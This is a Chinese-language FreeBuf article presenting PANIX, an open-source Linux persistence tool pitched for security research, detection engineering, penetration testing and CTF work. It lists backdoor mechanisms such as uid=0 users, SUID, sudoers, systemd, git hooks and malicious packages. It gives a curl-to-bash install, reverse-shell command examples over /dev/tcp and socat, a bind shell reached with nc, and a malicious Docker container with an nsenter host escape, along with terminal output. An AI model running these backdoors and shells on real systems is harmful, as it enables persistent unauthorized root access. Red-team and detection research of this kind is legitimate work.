freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PANIX:用于安全研究和渗透测试的高度可定制Linux持久性工具
2024-08-17 01:06:36

关于PANIX

PANIX是是一款高度可定制的 Linux 持久性工具,可用于安全研究、检测工程、渗透测试、CTF 等。

它优先考虑功能性而非隐身性,并且功能非常强大。PANIX 支持 Debian、Ubuntu 和 RHEL 等流行发行版,并且高度可定制以适应各种操作系统环境。PANIX 将与在野外观察到的最常见的 *nix 持久性机制保持同步。

功能介绍

PANIX 提供了一套多功能的功能用于模拟和研究 Linux 持久性机制:

功能

描述

Root

用户

任务持久化

任务持久化

授权密钥持久性

将公钥添加到授权密钥

后门用户

创建uid=0的后门用户

绑定 Shell

执行后台绑定 shell

后门功能

添加持久性功能

Cron Job 持久化

Cron 任务持久化

创建用户

创建新用户

Git 持久性

Git hook/pager 持久性

生成器持久性

Systemd 生成器持久性

Init.d后门

SysV Init(init.d)持久性

恶意包后门

DPKG/RPM 包持久性

Docker 容器后门

带主机逃逸的 Docker 容器

MOTD 后门

每日消息 (MOTD) 持久性

包管理器持久性

包管理器持久性(APT/YUM/DNF)

/etc/passwd 修改

直接将用户添加到/etc/passwd

密码更改

更改用户密码

RC.local后门

运行控制(rc.local)持久性

Shell 配置文件持久性

Shell 配置文件持久性

SSH 密钥持久性

SSH 密钥持久性

Sudoers 后门

Sudoers 持久性

SUID 后门

SUID 持久性

系统二进制后门

系统二进制包装以实现持久性

Systemd 服务持久性

Systemd 服务持久性

Udev 持久性

Udev(驱动程序)持久性

XDG 自动启动持久性

XDG 自动启动持久性

支持的操作系统

PANIX 为各种 Linux 发行版提供全面支持:

发行版

支持

已测试

Debian

在 Debian 11 和 12 上经过全面测试

Ubuntu

在 Ubuntu 22.04 上进行了全面测试

红帽企业版

在 RHEL 9 上进行了全面测试(MOTD 不可用)

CentOS

在 CentOS Stream 9、7 上进行了全面测试(MOTD 不可用)

Fedora

未经过全面测试

Arch Linux

未经过全面测试

OpenSUSE

未经过全面测试

工具安装

启动并运行 PANIX 非常简单,只需从【发布页面】下载脚本并执行它即可。

或者运行下列命令直接安装:

curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v1.0.0/panix.sh | bash

除此之外,广大研究人员也可以手动完成工具的下载、安装和授权:

# 通过curl或wget下载

curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v1.0.0/panix.sh -o panix.sh

wget https://github.com/Aegrah/PANIX/releases/download/panix-v1.0.0/panix.sh -O panix.sh

# 给工具脚本提供可执行权限并执行脚本

chmod +x panix.sh

./panix.sh

执行脚本将显示root或user帮助菜单,具体取决于当前用户的权限:

工具使用

每个持久性机制都有一个单独的帮助菜单:

root@ubuntu2204:/home/ruben# ./panix.sh --udev --help

Usage: ./panix.sh --udev [OPTIONS]

--examples                   显示命令样例

--default                     使用默认配置

  --ip <ip>                    指定IP地址

  --port <port>                指定端口号

  --at | --cron | --systemd      指定要使用的持久性机制

--custom                     使用自定义配置

  --command <command>      指定自定义命令

  --path <path>               指定自定义路径

每个持久性机制还具有一个--examples参数,显示默认和自定义示例,帮助您制定适合您的命令:

root@ubuntu2204:/home/ruben# ./panix.sh --git --examples

Examples:

--default:

./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager

 

--custom:

./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook

 

./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"

只需执行以下命令即可设置 systemd 持久性:

root@ubuntu2204:/home/ruben# ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337

Service file created successfully!

Timer file created successfully!

Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer.

[+] Systemd service persistence established!

设置持久性机制时,脚本将让您知道它是否有效,并且在需要信息来使用持久性机制的情况下,将提供其他信息。例如绑定 shell 机制:

root@ubuntu2204:/home/ruben# ./panix.sh --bind-shell --default --architecture x64

[+] Bind shell binary /tmp/bd64 created and executed in the background.

[+] The bind shell is listening on port 9001.

[+] To interact with it from a different system, use: nc -nv <IP> 9001

[+] Bind shell persistence established!

允许您与绑定 shell 进行交互:

❯ nc -nv 192.168.211.130 9001

(UNKNOWN) [192.168.211.130] 9001 (?) open

whoami

root

对于具有附加内置功能的机制也是如此,例如 Docker 持久性机制,具有内置的Root主机逃逸:

ruben@ubuntu2204:~$ sudo ./panix.sh --docker-container --ip 192.168.211.131 --port 330

[+] Building 10.4s (9/9) FINISHED                                                                                                                                            docker:default

 => [internal] load build definition from Dockerfile                                                                                                                                   0.0s

 => => transferring dockerfile: 722B                                                                                                                                                   0.0s

 => [internal] load metadata for docker.io/library/alpine:latest                                                                                                                       2.1s

 => [internal] load .dockerignore                                                                                                                                                      0.0s

 => => transferring context: 2B                                                                                                                                                        0.0s

 => [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0                                                                 0.8s

 => => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0                                                                 0.0s

 => => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB                                                                                         0.0s

 => => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B                                                                                             0.0s

 => => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB                                                                                         0.0s

 => => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB                                                                                         0.4s

 => => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99                                                                                              0.2s

 => [2/5] RUN apk add --no-cache bash socat sudo util-linux procps                                                                                                                     4.4s

 => [3/5] RUN adduser -D lowprivuser                                                                                                                                                   0.6s

 => [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330"  0.8s

 => [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec  0.8s

 => exporting to image                                                                                                                                                                 0.6s

 => => exporting layers                                                                                                                                                                0.6s

 => => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790                                                                                           0.0s

 => => naming to docker.io/library/malicious-container                                                                                                                                 0.0s

86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef

[+] Persistence through malicious Docker container complete.

[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.

下列命令展示了如何逃离容器并访问主机:

❯ nc -nvlp 330

listening on [any] 330 ...

connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400

86ce6b00e872:/$ /usr/local/bin/escape.sh

/usr/local/bin/escape.sh

root@ubuntu2204:~#

PANIX 可以通过--revert命令清理大部分垃圾:

root@ubuntu2204:/home/ruben# ./panix.sh --revert

[*] Running as root...

[*] Cleaning Systemd persistence methods...

[+] Successfully cleaned persistence method Systemd

[*] Cleaning Cron persistence methods...

[+] Successfully cleaned persistence method Cron

...

[*] Cleaning Docker persistence methods...

[+] Successfully cleaned persistence method Docker

[*] Cleaning Malicious package persistence methods...

[+] Successfully cleaned persistence method Malicious package

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

PANIX:【GitHub传送门

# linux # 系统安全 # linux安全 # CTF # 持久化
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录